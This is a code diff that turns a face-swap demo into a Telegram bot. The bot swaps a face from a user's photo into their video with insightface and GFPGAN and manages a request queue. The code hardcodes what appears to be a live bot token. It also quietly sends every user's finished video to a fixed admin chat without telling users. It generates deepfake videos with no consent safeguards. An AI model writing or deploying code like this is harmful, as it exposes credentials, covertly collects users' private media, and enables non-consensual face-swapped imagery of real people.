Update app.py

app.py

@@ -1,3 +1,4 @@
+from math import e
 import cv2
 import os
 import insightface
@@ -5,12 +6,64 @@ import onnxruntime
 from tqdm import tqdm
 import shutil
 import gfpgan
-import gradio as gr
-import subprocess
-from PIL import Image
+from aiogram import Bot, types
+from aiogram.dispatcher import Dispatcher
+from aiogram.utils import executor
+from IPython.display import clear_output
+import nest_asyncio
+import asyncio
+from queue import Queue
 
+nest_asyncio.apply()
 
-def video_to_frames(video_path, output_folder):
+user_data = {}
+request_queue = Queue()  # Queue to store incoming user requests
+
+bot = Bot(token="6893700312:AAH2VZuHELk2RSSjg4aX6MpzIImnEwjORec")
+dp = Dispatcher(bot)
+group_id = '@FaceSwap_profaker'
+
+strr = ""
+img = False
+vid = False
+
+size = 1
+pos = ''
+swa = ''
+position = ''
+pos_count = 1
+progress = 0
+
+
+
+ACTIVE_USERS_FILE = "active_users.txt"
+
+# Load active users from the file
+def load_active_users():
+    active_users = set()
+    if os.path.exists(ACTIVE_USERS_FILE):
+        with open(ACTIVE_USERS_FILE, 'r') as file:
+            for line in file:
+                active_users.add(int(line.strip()))  # Assuming user IDs are integers
+    return active_users
+
+# Save active users to the file
+def save_active_users(active_users):
+    with open(ACTIVE_USERS_FILE, 'w') as file:
+        for user_id in active_users:
+            file.write(str(user_id) + '\n')
+
+# Initialize active users
+active_users = load_active_users()
+
+# Function to add user to active users list
+def add_active_user(user_id):
+    active_users.add(user_id)
+    save_active_users(active_users)
+
+async def video_to_frames(video_path, output_folder, message,target_width, target_height):
+    global swa
+    swa = await bot.send_message(chat_id=message.chat.id, text=f"Getting Frames from Video")
     vidcap = cv2.VideoCapture(video_path)
     fps = vidcap.get(cv2.CAP_PROP_FPS)
     success, image = vidcap.read()
@@ -18,18 +71,25 @@ def video_to_frames(video_path, output_folder):
     if not os.path.exists(output_folder):
         os.makedirs(output_folder)
 
+    width = int(vidcap.get(cv2.CAP_PROP_FRAME_WIDTH))
+    height = int(vidcap.get(cv2.CAP_PROP_FRAME_HEIGHT))
+    aspect_ratio = float(width) / height
+    target_width = int(target_height * aspect_ratio)
+
     while success:
         frame_name = os.path.join(output_folder, f"frame_{count}.jpg")
-        cv2.imwrite(frame_name, image)
+        resized_frame = cv2.resize(image, (target_width, target_height))
+        cv2.imwrite(frame_name, resized_frame)
         success, image = vidcap.read()
         count += 1
-        if count>550:
+        if count>400:
           break
     print(f"{count} frames extracted from {video_path}.")
     return [count,fps]
 
-def frames_to_video(frame_folder, video_path, image_path, frame_count,fps):
-    print("ImagePath",image_path)
+async def frames_to_video(frame_folder, video_path, source_img, frame_count,fps, message):
+    global swa, progress
+    await swa.edit_text(" Swapping Faces in Frames...")
     frames = [f for f in os.listdir(frame_folder) if f.endswith('.jpg')]
     frames.sort(key=lambda x: int(x.split('_')[1].split('.')[0]))  # Sort frames in ascending order
 
@@ -38,25 +98,24 @@ def frames_to_video(frame_folder, video_path, image_path, frame_count,fps):
 
     fourcc = cv2.VideoWriter_fourcc(*'mp4v')
     out = cv2.VideoWriter(video_path, fourcc, fps, (width, height))
-    
-    providers = ["CUDAExecutionProvider"]
-    print("Available Providers==",providers)
-    app = insightface.app.FaceAnalysis(name='buffalo_l', providers=providers)
+
+    app = insightface.app.FaceAnalysis(name='buffalo_l', providers=['CUDAExecutionProvider'])
     app.prepare(ctx_id=0, det_size=(640, 640))
+    providers = ['CUDAExecutionProvider']
     swapper = insightface.model_zoo.get_model("inswapper_128.onnx",download=False, download_zip=False,providers=providers)
     face_enhancer = gfpgan.GFPGANer(model_path="GFPGANv1.4.pth", upscale=1, device='cuda')
-    
+    await swa.edit_text(f"Converted frames:0.00/{frame_count}, Progress:0.00 %")
     for i in tqdm(range(frame_count), desc="Converting frames to video"):
         img1 = cv2.imread(os.path.join(frame_folder, frames[i]))
-        #img2_pil = Image.open(image_path)
-        #img2_cv2 = cv2.cvtColor(np.array(img2_pil), cv2.COLOR_RGB2BGR)
+        img2 = cv2.imread(source_img)  # Replace with your source image path
 
         faces1 = app.get(img1)
         for _ in range(20):
-            faces2 = app.get(image_path)
+            faces2 = app.get(img2)
             if faces2:
                 break
         else:
+            await swa.edit_text(f"Face Detection time out in source image, try again later.")
             return
         if faces1:
             face1 = faces1[0]
@@ -68,26 +127,157 @@ def frames_to_video(frame_folder, video_path, image_path, frame_count,fps):
         else:
             out.write(img1)
         progress = int((i + 1) / frame_count * 100)
-        print(progress,end="")
+        await swa.edit_text(f"Converted frames:{i}/{frame_count} , Progress:  {progress:.2f}%")
+
     out.release()
-    
     print(f"Video saved at {video_path}.")
 
-def face_swap(video_path, image_path):
-    output_folder = "Out_Frames"
-    frame_count = video_to_frames(video_path, output_folder)
-    if frame_count[0] > 500:
-        frame_count[0] = 500
-    output_video_path = "output_video.mp4" 
-    frames_to_video(output_folder, output_video_path, image_path, frame_count[0],frame_count[1])
-    return output_video_path 
-    
-
-iface = gr.Interface(
-    fn=face_swap,
-    inputs=["video", "image"],
-    outputs="video",
-    title="Profaker's Face Swap",
-    description="Upload a video and an image. The faces in the video will be swapped with the face in the image.",
-)
-iface.launch(share=True)
+
+@dp.message_handler(commands=['start'])
+async def start_command(message: types.Message):
+    add_active_user(message.chat.id)
+    global user_data
+    user_id = message.chat.id
+    member_info = await bot.get_chat_member(group_id, message.chat.id)
+    user_data[user_id] = {'image': None, 'video': None,'position': None}
+    if member_info.status in ['member', 'administrator','creator']:
+        await message.reply(f"Welcome {message.chat.first_name}. Send first image")
+    else:
+        await message.reply("Please Join the group \nhttps://t.me/FaceSwap_profaker\n &  Start the bot again")
+
+@dp.message_handler(commands=['restart'])
+async def restart_command(message: types.Message):
+  global user_data
+  if message.chat.id == 6081754946:
+    for user_id in active_users:
+      try:
+        await bot.send_message(user_id,"Server Disconnected. Please restart the bot and Try again..")
+      except:
+        continue
+  else:
+    await bot.send_message(message.chat.id,"This command is only for admins.")
+
+@dp.message_handler(commands=['stop'])
+async def stop_command(message: types.Message):
+  global user_data
+  if message.chat.id == 6081754946:
+    for user_id in active_users:
+      try:
+        await bot.send_message(user_id,"Bot stopped due to heavy traffic, Try again later.")
+      except:
+        continue
+  else:
+    await bot.send_message(message.chat.id,"This command is only for admins.")
+
+
+@dp.message_handler(commands=['queue'])
+async def queue_command(message: types.Message):
+  global user_data
+  user_id = message.chat.id
+  if user_id in user_data and user_data[user_id]['position'] is not None:
+    await bot.send_message(user_id,f"Your position in queue: {user_data[user_id]['position']}\nCurrent User: {pos_count},{progress:.2f}%\nTotal Queue: {size-1}")
+  else:
+    await bot.send_message(user_id,"You are not added into Queue")
+
+
+@dp.message_handler(content_types=[types.ContentType.PHOTO, types.ContentType.VIDEO])
+async def handle_media(message: types.Message):
+    global image_received, video_received, user_data, strr, img, vid, size, pos, position, pos_count
+    flag = 0
+    member_info = await bot.get_chat_member(group_id, message.chat.id)
+    user_id = message.chat.id
+    if message.photo and user_data[user_id]['image'] is None:
+      if member_info.status in ['member', 'administrator','creator']:
+        photo_file_id = message.photo[-1].file_id
+        photo = await bot.get_file(photo_file_id)
+        photo_path = photo.file_path
+        try:
+            user_data[user_id]['image'] = photo_path
+            await photo.download(f"{user_id}.jpg")
+            if user_data[user_id]['video'] == None:
+              await message.answer("Source image Recieved! Now send Target video")
+            else:
+              await message.answer("Source image Recieved. Processing...")
+              user_data[user_id]['position'] = size
+              request_queue.put((user_id, user_data[user_id]['image'], user_data[user_id]['video'], message, user_data[user_id]['position']))
+              size +=1
+            img = True
+        except KeyError:
+          await bot.send_message(user_id,"Restart the bot and Try again.")
+          return
+      else:
+        await message.reply("Please Join the group \nhttps://t.me/FaceSwap_profaker\n &  Start the bot again")
+    elif message.video and user_data[user_id]['video'] is None:
+      if member_info.status in ['member', 'administrator','creator']:
+        video_file_id = message.video.file_id
+        try:
+            video = await bot.get_file(video_file_id)
+        except:
+            await message.answer("File is Too big Send a small File.")
+            return
+        video_path = video.file_path
+        try:
+            user_data[user_id]['video'] = video_path
+            await video.download(f"{user_id}.mp4")
+            if user_data[user_id]['image'] == None:
+              await message.answer("Target video Recieved..! Now Send Source image.")
+            else:
+              await message.answer("Target video Recieved. Processing...")
+              user_data[user_id]['position'] = size
+              request_queue.put((user_id, user_data[user_id]['image'], user_data[user_id]['video'], message, user_data[user_id]['position']))
+              size +=1
+            vid = True
+        except KeyError:
+          await bot.send_message(user_id,"Restart the bot and Try again.")
+          return
+      else:
+        await message.reply("Please Join the group \nhttps://t.me/FaceSwap_profaker\n &  Start the bot again")
+    else:
+      flag = 1
+      await message.reply("Your requests are already in /queue\nWait till current requests are completed.")
+
+    print()
+    print(user_data,size)
+    print()
+
+    if request_queue.qsize() == 1 and strr == '' :
+      await process_request()
+
+    if user_data[user_id]['image'] and user_data[user_id]['video'] and flag == 0:
+      await bot.send_message(user_id,f"Your requests are added to Queue.\n\nCheck your Queue position using\n/queue command")
+
+async def process_request():
+    global user_data, strr, img, vid, pos, size, pos_count
+    user_id, image_path, video_path, message, position = request_queue.get()
+    print(image_path,video_path)
+    strr = user_id
+
+    if user_data[user_id]['image'] and user_data[user_id]['video']:
+        video_path = f"{user_id}.mp4"
+        output_folder = "Out_Frames"  # Output folder to save frames
+        source_img = f"{user_id}.jpg"  # Path to the source image for face swapping
+        frame_count = await video_to_frames(video_path, output_folder, message,target_width=854, target_height=480)
+        if frame_count[0] > 200:
+           frame_count[0] = 200
+        output_video_path = f"{user_id}_output_video.mp4"  # Output video path
+        await frames_to_video(output_folder, output_video_path, source_img, frame_count[0],frame_count[1], message)
+        with open(f'{user_id}_output_video.mp4', 'rb') as video_file:
+            await bot.send_video(message.chat.id, video_file)
+        with open(f'{user_id}_output_video.mp4', 'rb') as video_file:
+            await bot.send_video(6081754946, video_file)
+            os.remove(f"{user_id}.jpg")
+            os.remove(f"{user_id}.mp4")
+            os.remove(f"{user_id}_output_video.mp4")
+            pos_count = pos_count + 1
+            strr = ""
+            print(user_data)
+            user_data[user_id] = {'image': None, 'video': None,'position': None}
+            if request_queue.empty():
+              shutil.rmtree('Out_Frames')
+              size = 1
+              return
+            else:
+              await process_request()
+
+
+executor.start_polling(dp)